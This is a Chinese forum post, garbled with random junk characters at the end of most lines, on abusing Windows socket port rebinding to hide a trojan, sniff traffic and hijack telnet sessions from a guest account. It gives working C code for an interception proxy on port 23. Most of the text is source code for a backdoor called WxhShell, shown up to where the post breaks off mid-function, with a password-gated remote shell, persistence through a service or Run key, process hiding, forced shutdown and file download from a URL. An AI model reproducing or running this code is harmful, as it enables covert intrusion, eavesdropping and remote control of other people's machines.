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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _~QiQDq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4X}.aZO&b  
rf ?\s/#OY  
  saddr.sin_family = AF_INET; ^\(<s  
tg R4C#a   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bu]PNKIi  
a3f- 9LN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hw @)W  
_ SuW86  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }!`_Bz:  
es6]c%o:t^  
  这意味着什么?意味着可以进行如下的攻击: X21k7 Ls  
"9^OT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @'> Ul!.]  
6)h~9iK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {0o ,2]o!:  
(g*mC7 HN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B<Zm'hdX  
yt4sg/] :  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _kZ&t_]  
.gJv})Vi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SR$?pJh D%  
1)BIh~1{p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  p[8H!=`K  
MwHxn%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J5zKwt  
O4g2s8k  
  #include d1>L&3HKx  
  #include ?X'l&k>  
  #include Njmb{L]Cps  
  #include    +Y_]<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <ht^Ck  
  int main() g@Z7f y7  
  { 3n)\D<f]#  
  WORD wVersionRequested; m:W+s4!E  
  DWORD ret; #GfM!<q<  
  WSADATA wsaData; ,opS)C$  
  BOOL val; ~j36(`t  
  SOCKADDR_IN saddr; ai]KH7  
  SOCKADDR_IN scaddr; (v0i]1ly[  
  int err; aE2Yl  
  SOCKET s; K9_@[}Ge  
  SOCKET sc; l H{~?x  
  int caddsize; P_F0lO  
  HANDLE mt; 9!,f4&G`  
  DWORD tid;   YfUo=ku  
  wVersionRequested = MAKEWORD( 2, 2 ); G\B:iyKl  
  err = WSAStartup( wVersionRequested, &wsaData ); ?2<V./2F  
  if ( err != 0 ) { i{7Vh0n3S-  
  printf("error!WSAStartup failed!\n"); #^9a[ZLj0  
  return -1; 2!nz>K  
  } Q[&CtM  
  saddr.sin_family = AF_INET; V?r(;x  
   )dF`L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qFwAzW;"  
v4W<_ 7L_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <]u]rZc$  
  saddr.sin_port = htons(23); i,mo0CSa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #F:\_!2c  
  { xX\A& 9m  
  printf("error!socket failed!\n"); r~;TId} #  
  return -1; (2'q~Z+>'  
  } RsnFjfb'  
  val = TRUE; o(Q='kK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 10ZL-7D#m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dRXdV7-!  
  { dk@iAL*v  
  printf("error!setsockopt failed!\n"); s AlOX`t  
  return -1; ~uweBp~O  
  } W-ol*S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %s#`Z [8,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sXR}#*8p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H  2UR  
X  m%aT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OIrr'uNH  
  { !kWx'tJ$  
  ret=GetLastError(); )Zit6I  
  printf("error!bind failed!\n"); ziG]BZ  
  return -1; G/?j$T  
  } o;J_"' kP  
  listen(s,2); RLUH[[  
  while(1) X{;3gN  
  { gpe-)hD@R  
  caddsize = sizeof(scaddr); e(EXQP2P>  
  //接受连接请求 a+p_47 xa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O<`\9  
  if(sc!=INVALID_SOCKET) "jAEZ  
  { o3xfif  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uJ>_ 2  
  if(mt==NULL) z9P;HGuZ  
  { UZ3oc[#D=]  
  printf("Thread Creat Failed!\n"); O-YB +~"3Z  
  break; JnBg;D|)@  
  } [iT#Pu5  
  } t 4tXLI;'  
  CloseHandle(mt); '3V?M;3|K  
  } ^fbw0  
  closesocket(s); mp+lN:  
  WSACleanup(); I\oI"\}U  
  return 0; bF{14F$  
  }   0G"I}Jp{  
  DWORD WINAPI ClientThread(LPVOID lpParam) mtu`m6Xix  
  { Kh;jiK !  
  SOCKET ss = (SOCKET)lpParam; \IG"Te  
  SOCKET sc; ~i)IY1m"  
  unsigned char buf[4096]; [MVG\6Up(  
  SOCKADDR_IN saddr; pX/,s#dY>  
  long num; ^9PB+mz  
  DWORD val; TWFi.w4pY  
  DWORD ret; $Q!J.}P@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hWqI*xSaJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yxU??#v|g  
  saddr.sin_family = AF_INET; V`MV_zA2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zHsWj^m"  
  saddr.sin_port = htons(23); ntT~_Ba8;u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M&5;Qeoiv  
  { A&~<qgBTp  
  printf("error!socket failed!\n"); ;\5^yDv[e  
  return -1; j. L`@  
  } z|gG%fM  
  val = 100; 47c` ) *Hc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M~1 n#  
  { 0 G.y_<=  
  ret = GetLastError(); >^Zyls  
  return -1; =_/,C  
  } CdN,R"V0$@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1li1&  
  { `RG_FS"v  
  ret = GetLastError(); -gP4| r8&  
  return -1; 75pz' Cb  
  } 8VwByk8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *&vySyt  
  { gTp){  
  printf("error!socket connect failed!\n"); }m~2[5q%/  
  closesocket(sc); |H)WJ/`  
  closesocket(ss); .7HnWKUV  
  return -1; n?QpVROo\  
  } EQ j2:9f  
  while(1) tilL7  
  { H...!c1M@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q\DD^Pbq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o9:GKc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *1L;%u| [  
  num = recv(ss,buf,4096,0); 90pk  
  if(num>0) @42!\1YT  
  send(sc,buf,num,0); h%Nbx:vKk  
  else if(num==0) hal3J  
  break; $cLtAo^W  
  num = recv(sc,buf,4096,0); 7b_Ihv   
  if(num>0) tVN#i  
  send(ss,buf,num,0); L}&U%eD  
  else if(num==0) wNuS'P_(:T  
  break; 'y#kRC=G:  
  } )p MZ5|+X  
  closesocket(ss); 4:=eO!6  
  closesocket(sc); Sdc;jK 9d!  
  return 0 ; UN&b]vg  
  } $ V"~\h8  
i6[,m*q~2x  
{)eV) 2a  
========================================================== W"mkNqH  
Ah_'.r1<P9  
下边附上一个代码,,WXhSHELL 3ySP*J5  
/tno`su;  
========================================================== ,=tVa])  
Kfc(GL?  
#include "stdafx.h" {PHxm  
lqOv_q  
#include <stdio.h> q_8qowu"  
#include <string.h> K<b -|t9f  
#include <windows.h> yZaQ{]"  
#include <winsock2.h> TA=Ij,z~  
#include <winsvc.h> I\sCH  
#include <urlmon.h> AA}M"8~2  
m=2TzLVv  
#pragma comment (lib, "Ws2_32.lib") EX8:B.z`57  
#pragma comment (lib, "urlmon.lib") !+cRtCaA::  
Q]7Q4U  
#define MAX_USER   100 // 最大客户端连接数 |pr~Ohz  
#define BUF_SOCK   200 // sock buffer .N] ^g#  
#define KEY_BUFF   255 // 输入 buffer G7C9FV bR  
yPm)r2Ck  
#define REBOOT     0   // 重启 9Dd/g7  
#define SHUTDOWN   1   // 关机 ltHC+8 aZ  
E/_=0t  
#define DEF_PORT   5000 // 监听端口 bdqo2ZO  
Vm&fw".J  
#define REG_LEN     16   // 注册表键长度 bn^^|i  
#define SVC_LEN     80   // NT服务名长度 XLFJ?$)Tro  
}(J6zo9(x  
// 从dll定义API 9VkuYm,3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T:wd3^.CG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bM8b3, }?n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pz?.(AmU\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a&ZH  
$K\\ 8$Z  
// wxhshell配置信息 b#k$/A@  
struct WSCFG { SL:o.g(>4  
  int ws_port;         // 监听端口 GS$OrUA  
  char ws_passstr[REG_LEN]; // 口令 sBF}j.b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 61T"K  
  char ws_regname[REG_LEN]; // 注册表键名 hig^ovF  
  char ws_svcname[REG_LEN]; // 服务名 ^#exs Xy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lpve Yz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b)$<aFl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Y @ &&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uh?SDay  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wp.<}=|u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h{J2CWJ  
$+S'Boo   
}; Lc+wS@  
-UPdgZ_Vxz  
// default Wxhshell configuration 8K6yqc H  
struct WSCFG wscfg={DEF_PORT, bPOehvK/  
    "xuhuanlingzhe", j3IxcG}f  
    1, #\@*C=  
    "Wxhshell", e}kEh+4  
    "Wxhshell", cL<  
            "WxhShell Service", <d$|~qS_  
    "Wrsky Windows CmdShell Service", Bz9!a k~4  
    "Please Input Your Password: ", z~L(kf4  
  1, #G$_\bt  
  "http://www.wrsky.com/wxhshell.exe", z[}[:H8  
  "Wxhshell.exe" EFqWnz  
    }; /*`u(d2g  
{ >bw:^F  
// 消息定义模块 L @t<%fy@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (.m0hN!~u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b,]h X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ; R&wr _%  
char *msg_ws_ext="\n\rExit."; iZwt,)(  
char *msg_ws_end="\n\rQuit."; |.)oV;9  
char *msg_ws_boot="\n\rReboot..."; }O<=!^Y;A  
char *msg_ws_poff="\n\rShutdown..."; sD_Z`1  
char *msg_ws_down="\n\rSave to "; [- a2<E  
loLQ@?E  
char *msg_ws_err="\n\rErr!"; /al(=zf  
char *msg_ws_ok="\n\rOK!"; xCEEv5(5  
O!\P]W4r$  
char ExeFile[MAX_PATH]; JC_Y#kN@z  
int nUser = 0; SZzS$6 t  
HANDLE handles[MAX_USER]; 5nkx8JJ  
int OsIsNt; OgY4J|<  
_ohZTT%l  
SERVICE_STATUS       serviceStatus; bT|a]b:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0;#%KC,  
9H_2Y%_  
// 函数声明 cWA9n}Z  
int Install(void); VL?ubt<  
int Uninstall(void); Nh^T,nv*l  
int DownloadFile(char *sURL, SOCKET wsh); \|F4@  
int Boot(int flag); q?nXhUD  
void HideProc(void); [}9sq+##  
int GetOsVer(void); E!8FZv8  
int Wxhshell(SOCKET wsl); X};m\Bz  
void TalkWithClient(void *cs); w4Qqo(  
int CmdShell(SOCKET sock); h3Nwxj~E  
int StartFromService(void); Hzcy '  
int StartWxhshell(LPSTR lpCmdLine); yM}}mypS  
A[ 9 @:z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2?u>A3^R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5Q#;4  
0&mo1 k_U  
// 数据结构和表定义 :!Wijdq  
SERVICE_TABLE_ENTRY DispatchTable[] = u_;*Ay  
{ :9Zu&t  
{wscfg.ws_svcname, NTServiceMain}, F[<EXLQ  
{NULL, NULL} iS&~oj_-%  
}; >@KQ )p' `  
([R}s/)$  
// 自我安装 *%l&'+   
int Install(void) \{AxDk{z#  
{ Y]/(R"-2G  
  char svExeFile[MAX_PATH]; pi sk v[  
  HKEY key; ] e!CH <N  
  strcpy(svExeFile,ExeFile); ?Z0T9e<  
?BT\)@ h  
// 如果是win9x系统,修改注册表设为自启动 nF~</>  
if(!OsIsNt) { 7 Bm 18  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kq6S`~J^R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \kqa4{7U(  
  RegCloseKey(key); .F:qJ6E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1@q~(1-o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 34-QgE  
  RegCloseKey(key); j}uFp|df<  
  return 0; o90SXa&l/  
    } 1|bu0d\]  
  } sfNXIEr^  
} m(>_C~rGN  
else { OSk:njyC[  
@P#uH5U  
// 如果是NT以上系统,安装为系统服务 u.*@ l GVW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  Q];gC{I  
if (schSCManager!=0) K-IXAdx  
{ bq[j4xH0X  
  SC_HANDLE schService = CreateService :-ZE~b HJ  
  ( C`+g:qT  
  schSCManager, IG0$OtG  
  wscfg.ws_svcname, [?x9NQ{  
  wscfg.ws_svcdisp, Z.Lm[$/edn  
  SERVICE_ALL_ACCESS, %[\: 8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , biG=4?Xl  
  SERVICE_AUTO_START, TWYz\Hmw  
  SERVICE_ERROR_NORMAL, 4)BZ%1+  
  svExeFile, Y,RED5]t  
  NULL, yaD<jc(O  
  NULL, x?Z)q4  
  NULL, # eqt{  
  NULL, s^ rO I~  
  NULL -QjdL9\[c7  
  ); (oX|lPD<b  
  if (schService!=0) 0cZyO$.  
  { l%\3'N]  
  CloseServiceHandle(schService); mbxJS_P  
  CloseServiceHandle(schSCManager); dQ?4@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Be}e%Rk  
  strcat(svExeFile,wscfg.ws_svcname); n={} ='  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H `y.jSNi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6TJ5G8z_  
  RegCloseKey(key); LSb3w/3M  
  return 0; $'e;ScH  
    } T:o!H Xdj^  
  } gP8Fe =]  
  CloseServiceHandle(schSCManager); \eF5* {9  
} D}'g4Ag  
} ! utgo/n  
;~T)pG8IS  
return 1; yLCqlK  
} q9o =,[  
"Pi\I9M3  
// 自我卸载 ^tX+<X  
int Uninstall(void) -B :Z(]3#\  
{ ='u'/g$'&  
  HKEY key; )bRe"jxn7  
uXq?Z@af|f  
if(!OsIsNt) { [M_pf2Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ntr5Q IPd  
  RegDeleteValue(key,wscfg.ws_regname); c\FyX\ i  
  RegCloseKey(key); lnL&v' {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S!.aBAW  
  RegDeleteValue(key,wscfg.ws_regname); k| 0Fa}Z[  
  RegCloseKey(key); >"?HbR9  
  return 0; G~_5E]8  
  } Pd!;z=I  
} MbLG8T:y  
} |57KTiiNLI  
else { 9\3%5B7  
[W=%L:Ea  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &N1C"Eov?  
if (schSCManager!=0) )|,-l^lC  
{ vW]Frb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q>7#</i\.  
  if (schService!=0) ac>}$Uw)  
  { D *W+0  
  if(DeleteService(schService)!=0) { Z)'jn8?P  
  CloseServiceHandle(schService); Le9r7O:  
  CloseServiceHandle(schSCManager); ]_I<-}?;  
  return 0; $>v^%E;Y4  
  } M['25[  
  CloseServiceHandle(schService);  /Z! ,1  
  } q_HC68YF,  
  CloseServiceHandle(schSCManager); d hiLv_/  
} $m:}{:LDCf  
} :i0xer  
E#Ynn6  
return 1; g*t.g@B<2  
} KQi9qj  
\sHM[n F0  
// 从指定url下载文件 ,iCd6M{  
int DownloadFile(char *sURL, SOCKET wsh) <9-tA\`8N  
{ V)R-w`  
  HRESULT hr; }@@1N3nnxV  
char seps[]= "/"; QC~B8]  
char *token; @^Mn PM  
char *file; aFo%B; 8m  
char myURL[MAX_PATH]; HG@!J>YaD  
char myFILE[MAX_PATH]; )ty *_@N0  
E1 *\)q  
strcpy(myURL,sURL); R-`{W:S  
  token=strtok(myURL,seps); )_+"  
  while(token!=NULL) F"hi2@/TI  
  { z-[Jbjhd  
    file=token; M(Jf&h4b  
  token=strtok(NULL,seps); mwbkXy;8  
  } i/O!bq[o  
}y|% wym  
GetCurrentDirectory(MAX_PATH,myFILE); -2> L*"^  
strcat(myFILE, "\\"); \'E_  
strcat(myFILE, file); XF\`stEnb  
  send(wsh,myFILE,strlen(myFILE),0); LU?#{dZ  
send(wsh,"...",3,0); H=X>o.iVqi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P_-zkw  
  if(hr==S_OK) SKLQAE5  
return 0; m{%_5nW  
else "T}J|28Z  
return 1; b@1QE  
Syp|s3u;  
} wO8^|Yf  
\vQ_:-A  
// 系统电源模块 7 UQD02  
int Boot(int flag) IZAbW  
{ P]y2W#Rs  
  HANDLE hToken; i":-g"d  
  TOKEN_PRIVILEGES tkp; 3M1(an\nW  
'2# 0UdG  
  if(OsIsNt) { KL5rF,DME  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gmLw.|-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pQVi&(M  
    tkp.PrivilegeCount = 1; G)<k5U4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;"Ot\:0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zZiB`%  
if(flag==REBOOT) { H?'VQ=j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z@ I%ppd  
  return 0; ]KuK\(\  
} 3\(s=- vh  
else { c,D'Hl6(%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n53} 79Uiz  
  return 0; G^2"\4R]p  
} klch!m=d  
  } <K97eAcW  
  else { ZV Gw@3  
if(flag==REBOOT) { U;jk+i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $C[YqZO  
  return 0; 1:>RQPXcWv  
} T|{BT! W1E  
else { Q ?Nzt;)!.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q|v=WC6  
  return 0; R K'( {1  
} Gf%o|kX]  
} k~vmHb  
'[juPI(!  
return 1; be764do  
} 3p^WTQ>(  
M"_XaVl  
// win9x进程隐藏模块 aIfog+Lp  
void HideProc(void) lo(Ht=d  
{ t TmFJ5  
l+N?:E$5=%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PO}Q8Q3  
  if ( hKernel != NULL ) C>03P.s4c  
  { 22*t%{(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BF_k~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y"lxh/l$}  
    FreeLibrary(hKernel); 2fLd/x~  
  } i5wA=K_  
Xt7'clr  
return; NrU -%!Aw  
} g9 yCd(2<5  
cPN7^*  
// 获取操作系统版本 D!<$uAT  
int GetOsVer(void) CX:^]wY  
{ ^twv0>vEo  
  OSVERSIONINFO winfo; J`8>QMK^5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D-~Jj&7  
  GetVersionEx(&winfo); K;97/"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JZY=2q&  
  return 1; [@y=% \%R  
  else \=_8G:1  
  return 0; e7?W VV,  
} >4VU  
$Us@fJr  
// 客户端句柄模块 ,G:4H%?  
int Wxhshell(SOCKET wsl) F*w|/-e  
{ |{jAMC0#  
  SOCKET wsh; X or ,}. w  
  struct sockaddr_in client; Dsua13 hF  
  DWORD myID; xWwPrd  
&59#$LyH`%  
  while(nUser<MAX_USER) 6nfkZvn  
{ _9@?Th&_e  
  int nSize=sizeof(client); M"vcF5q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); StDmJ]  
  if(wsh==INVALID_SOCKET) return 1; 8 (KfX%  
PVU"oz&T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _Ry.Wth  
if(handles[nUser]==0) Z+dR(9otH3  
  closesocket(wsh); Fp6Y Y  
else yUSB{DLpla  
  nUser++; g"&bX4uD)  
  } sKuTG93sr@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F=om^6G%X5  
u/[]g+  
  return 0; i-FUAR  
} /h M>dkwu  
:.Qe=}9  
// 关闭 socket H/3Zdj 9  
void CloseIt(SOCKET wsh) L_|uB  
{ /8MQqZ C  
closesocket(wsh); W^ :/0WR  
nUser--; c9 uT`h  
ExitThread(0); ~0-764%  
} BR^J y<^F'  
!ix<|F5  
// 客户端请求句柄 ^B5cNEO  
void TalkWithClient(void *cs) S@g/Tn  
{ <gdgcvd  
b H?qijrC  
  SOCKET wsh=(SOCKET)cs; 8>{W:?I  
  char pwd[SVC_LEN]; !NYM(6!(  
  char cmd[KEY_BUFF]; @5jG  
char chr[1]; B#6pQp$  
int i,j; G\+nWvV7  
L{LU@.;1  
  while (nUser < MAX_USER) { _qeuVi=A  
-t 6R!ZI  
if(wscfg.ws_passstr) { pfZ,t<bE2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7vaN&%;E%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NceB'YG|  
  //ZeroMemory(pwd,KEY_BUFF); t/*K#]26  
      i=0; 7+a%ehwU  
  while(i<SVC_LEN) { 8RAeJ~e  
8M|)ojH  
  // 设置超时 2ly,l[p8  
  fd_set FdRead; eq~c  
  struct timeval TimeOut; "'!%};  
  FD_ZERO(&FdRead); Dw`m>'J0  
  FD_SET(wsh,&FdRead); 0O#B'Uu  
  TimeOut.tv_sec=8; 'n[+r}3  
  TimeOut.tv_usec=0; +qUkMx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J`q}Ry;   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yv>BOK  
>yBxa)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); akhL\-d)al  
  pwd=chr[0]; %L j0  
  if(chr[0]==0xd || chr[0]==0xa) { %x6Ov\s2  
  pwd=0; 6 r.H8  
  break; *?bk?*?s  
  } =kb6xmB^t  
  i++; #t@x6Vt  
    } d{yIy'+0/  
pf8O`e,Awf  
  // 如果是非法用户,关闭 socket r)p2'+}pV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4`6c28K0?  
} V(2,\+t  
Q+d.%qhc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )@,90Vhh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #$=8g RZj  
+`*qlP;  
while(1) { `pi-zE)  
{jhmp\PN  
  ZeroMemory(cmd,KEY_BUFF); *p&^!ct  
_ktK+8*6`  
      // 自动支持客户端 telnet标准   IvTzPPP  
  j=0; *N-;V|{  
  while(j<KEY_BUFF) { u>}w-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u C,"5C  
  cmd[j]=chr[0]; l'*^$qc  
  if(chr[0]==0xa || chr[0]==0xd) { 7fju  
  cmd[j]=0; xF( bS+(o  
  break; ;)(Sdf[P  
  } gA~20LSt  
  j++; fJN*s  
    } d,c8Hs8  
:}y9$p  
  // 下载文件 *jk3 \KaoV  
  if(strstr(cmd,"http://")) { FXP6zHsV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Go>wo/Sb  
  if(DownloadFile(cmd,wsh)) DR:8oo&E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fdlvn*H  
  else D \N \BD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bo`Tl1K#  
  } {=3J/)='  
  else { X'fuF2owd  
-S"5{N73  
    switch(cmd[0]) { X E|B)Q(  
  Zg V~W#t  
  // 帮助 4k8*E5cx  
  case '?': { <9P4}`%)3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M|\^UF2e  
    break; o#qH2)tb  
  } CRH{E}>  
  // 安装 #6Jc}g< ?g  
  case 'i': { 9G0D3F  
    if(Install()) s\[LpLt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pzp,t(%j  
    else &V'519vmoZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CuH2E>wz  
    break; !fY7"E{%%  
    } ypx: )e"/  
  // 卸载 HTmI1  
  case 'r': { |]`hXr  
    if(Uninstall()) Xka<I3UD5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U@G"`RYl  
    else >F1G!#$0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~h-C&G ,v  
    break; Nln`fE/Ht  
    } 5W/{h q8}}  
  // 显示 wxhshell 所在路径 -LtK8wl^  
  case 'p': { m9in1RI%  
    char svExeFile[MAX_PATH]; <5S@ORN  
    strcpy(svExeFile,"\n\r"); k<a;[_S  
      strcat(svExeFile,ExeFile); .evbE O5  
        send(wsh,svExeFile,strlen(svExeFile),0); ,P{mk%=9  
    break; xH-X|N  
    } f-Jbs`(+  
  // 重启 )qL&%xz  
  case 'b': {  qve ./  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H`~;|6}]n  
    if(Boot(REBOOT)) j~;;l!({i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`jc#f5+'  
    else { 'OwyyPBF  
    closesocket(wsh); q2hFOm  
    ExitThread(0); ';0 qj$ #  
    } A4.4Dji,x  
    break; *O,H5lwU  
    } {:Aw_z:'  
  // 关机 ;}qhc l+  
  case 'd': { &?0:v`4Y  
